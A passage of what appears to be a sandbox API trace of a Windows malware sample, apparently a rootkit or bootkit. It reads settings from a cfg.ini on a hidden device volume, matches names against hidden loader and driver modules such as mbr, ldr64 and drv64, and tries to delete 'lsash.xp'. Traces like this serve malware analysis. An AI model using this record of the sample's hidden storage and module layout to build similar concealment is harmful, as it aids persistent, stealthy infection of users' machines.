0xfffffa8003b863b0 [0121.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.198] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.199] IdePortDispatch () returned 0x103 [0121.199] KeWaitForMutexObject () returned 0x0 [0121.199] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.199] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.199] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.199] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.199] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.199] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3360 [0121.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.199] KeLeaveCriticalRegion () [0121.199] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.199] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.199] KeEnterCriticalRegion () [0121.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.199] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.199] KeLeaveCriticalRegion () [0121.199] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.199] KeEnterCriticalRegion () [0121.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.199] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.199] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.199] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.199] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.199] IdePortDispatch () returned 0x103 [0121.199] KeWaitForMutexObject () returned 0x0 [0121.199] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.199] KeLeaveCriticalRegion () [0121.199] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.200] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.200] KeEnterCriticalRegion () [0121.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.200] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d5000 [0121.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.200] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.200] IdePortDispatch () returned 0x103 [0121.201] KeWaitForMutexObject () returned 0x0 [0121.201] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.201] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.201] IdePortDispatch () returned 0x103 [0121.201] KeWaitForMutexObject () returned 0x0 [0121.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.201] KeLeaveCriticalRegion () [0121.201] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.202] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.202] KeEnterCriticalRegion () [0121.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.202] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.202] KeLeaveCriticalRegion () [0121.202] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.202] KeEnterCriticalRegion () [0121.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.202] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.202] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.202] KeLeaveCriticalRegion () [0121.202] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.202] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.202] KeEnterCriticalRegion () [0121.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.202] ExFreePoolWithTag (P=0xfffffa8003bc3360, Tag=0x0) [0121.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.202] KeLeaveCriticalRegion () [0121.202] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.202] ReleaseMutex (hMutex=0xf0) returned 1 [0121.202] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.202] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.202] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.202] KeEnterCriticalRegion () [0121.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.202] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.202] IdePortDispatch () returned 0x103 [0121.202] KeWaitForMutexObject () returned 0x0 [0121.202] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.202] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.202] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.202] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.203] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.203] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b67ca0 [0121.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.203] KeLeaveCriticalRegion () [0121.203] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.203] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.203] KeEnterCriticalRegion () [0121.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.203] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.203] KeLeaveCriticalRegion () [0121.203] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.203] KeEnterCriticalRegion () [0121.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.203] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.203] IdePortDispatch () returned 0x103 [0121.203] KeWaitForMutexObject () returned 0x0 [0121.203] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.203] KeLeaveCriticalRegion () [0121.203] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.203] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.203] KeEnterCriticalRegion () [0121.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.203] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d6000 [0121.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.203] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.203] IdePortDispatch () returned 0x103 [0121.203] KeWaitForMutexObject () returned 0x0 [0121.204] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.204] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.204] IdePortDispatch () returned 0x103 [0121.204] KeWaitForMutexObject () returned 0x0 [0121.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.204] KeLeaveCriticalRegion () [0121.204] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.205] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.205] KeEnterCriticalRegion () [0121.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.205] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.205] KeLeaveCriticalRegion () [0121.205] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.205] KeEnterCriticalRegion () [0121.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.205] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.205] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.205] KeLeaveCriticalRegion () [0121.205] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.205] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.205] KeEnterCriticalRegion () [0121.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.205] ExFreePoolWithTag (P=0xfffffa8003b67ca0, Tag=0x0) [0121.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.205] KeLeaveCriticalRegion () [0121.205] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.205] ReleaseMutex (hMutex=0xf0) returned 1 [0121.205] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.205] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.205] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.205] KeEnterCriticalRegion () [0121.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.205] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.205] IdePortDispatch () returned 0x103 [0121.205] KeWaitForMutexObject () returned 0x0 [0121.205] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.205] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.206] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.206] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.206] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.206] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc36a0 [0121.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.206] KeLeaveCriticalRegion () [0121.206] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.206] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.206] KeEnterCriticalRegion () [0121.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.206] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.206] KeLeaveCriticalRegion () [0121.206] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.206] KeEnterCriticalRegion () [0121.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.206] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.206] IdePortDispatch () returned 0x103 [0121.206] KeWaitForMutexObject () returned 0x0 [0121.206] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.206] KeLeaveCriticalRegion () [0121.206] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.206] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.206] KeEnterCriticalRegion () [0121.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.206] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d7000 [0121.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.206] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.206] IdePortDispatch () returned 0x103 [0121.206] KeWaitForMutexObject () returned 0x0 [0121.207] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.207] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.207] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.207] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.207] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.207] IdePortDispatch () returned 0x103 [0121.207] KeWaitForMutexObject () returned 0x0 [0121.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.207] KeLeaveCriticalRegion () [0121.207] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.207] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.207] KeEnterCriticalRegion () [0121.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.207] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.207] KeLeaveCriticalRegion () [0121.208] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.208] KeEnterCriticalRegion () [0121.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.208] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.208] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc34c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.208] KeLeaveCriticalRegion () [0121.208] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.208] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.208] KeEnterCriticalRegion () [0121.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.208] ExFreePoolWithTag (P=0xfffffa8003bc36a0, Tag=0x0) [0121.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.208] KeLeaveCriticalRegion () [0121.208] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.208] ReleaseMutex (hMutex=0xf0) returned 1 [0121.208] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.208] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.208] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.208] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.208] KeEnterCriticalRegion () [0121.208] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.208] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.208] IdePortDispatch () returned 0x103 [0121.208] KeWaitForMutexObject () returned 0x0 [0121.208] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.208] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.208] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.208] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.208] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.208] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.208] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.208] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.208] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.208] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.208] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.208] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.209] KeLeaveCriticalRegion () [0121.209] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.209] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.209] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.209] KeEnterCriticalRegion () [0121.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.209] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.209] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: 